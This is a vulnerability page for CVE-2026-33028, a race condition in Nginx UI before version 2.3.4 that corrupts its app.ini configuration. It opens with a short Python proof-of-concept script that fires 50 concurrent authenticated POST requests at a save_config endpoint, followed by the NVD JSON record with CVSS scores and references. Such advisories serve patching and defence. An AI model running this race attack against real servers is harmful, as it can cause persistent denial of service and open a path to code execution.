CVE-2026-33028

import requests import threading # Target URL (example) target_url = "http://target-url/api/save_config" headers = {"Cookie": "session=..."} data = {"key": "value"} def attack(): try: requests.post(target_url, data=data, headers=headers) except: pass # Send concurrent requests to trigger race condition threads = [] for _ in range(50): t = threading.Thread(target=attack) threads.append(t) t.start() for t in threads: t.join() print("Race condition attack triggered")

{"cve": {"id": "CVE-2026-33028", "sourceIdentifier": "[email protected]", "published": "2026-03-30T18:16:18.947", "lastModified": "2026-04-01T18:45:46.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.4, the nginx-ui application is vulnerable to a Race Condition. Due to the complete absence of synchronization mechanisms (Mutex) and non-atomic file writes, concurrent requests lead to the severe corruption of the primary configuration file (app.ini). This vulnerability results in a persistent Denial of Service (DoS) and introduces a non-deterministic path for Remote Code Execution (RCE) through configuration cross-contamination. This issue has been patched in version 2.3.4."}, {"lang": "es", "value": "Nginx UI es una interfaz de usuario web para el servidor web Nginx. Antes de la versión 2.3.4, la aplicación nginx-ui es vulnerable a una condición de carrera. Debido a la ausencia completa de mecanismos de sincronización (Mutex) y escrituras de archivos no atómicas, las solicitudes concurrentes llevan a la corrupción severa del archivo de configuración principal (app.ini). Esta vulnerabilidad resulta en una denegación de servicio (DoS) persistente y introduce una ruta no determinista para la ejecución remota de código (RCE) a través de la contaminación cruzada de la configuración. Este problema ha sido parcheado en la versión 2.3.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.4", "matchCriteriaId": "EAC83E05-2DDE-450D-8718-843174EAB4E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:uozi:cosy:*:*:*:*:*:go:*:*", "versionEndExcluding": "1.30.1", "matchCriteriaId": "05EA43ED-701D-4489-B576-21AF6CD2E5DE"}]}]}], "references": [{"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-m468-xcm6-fxg4", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}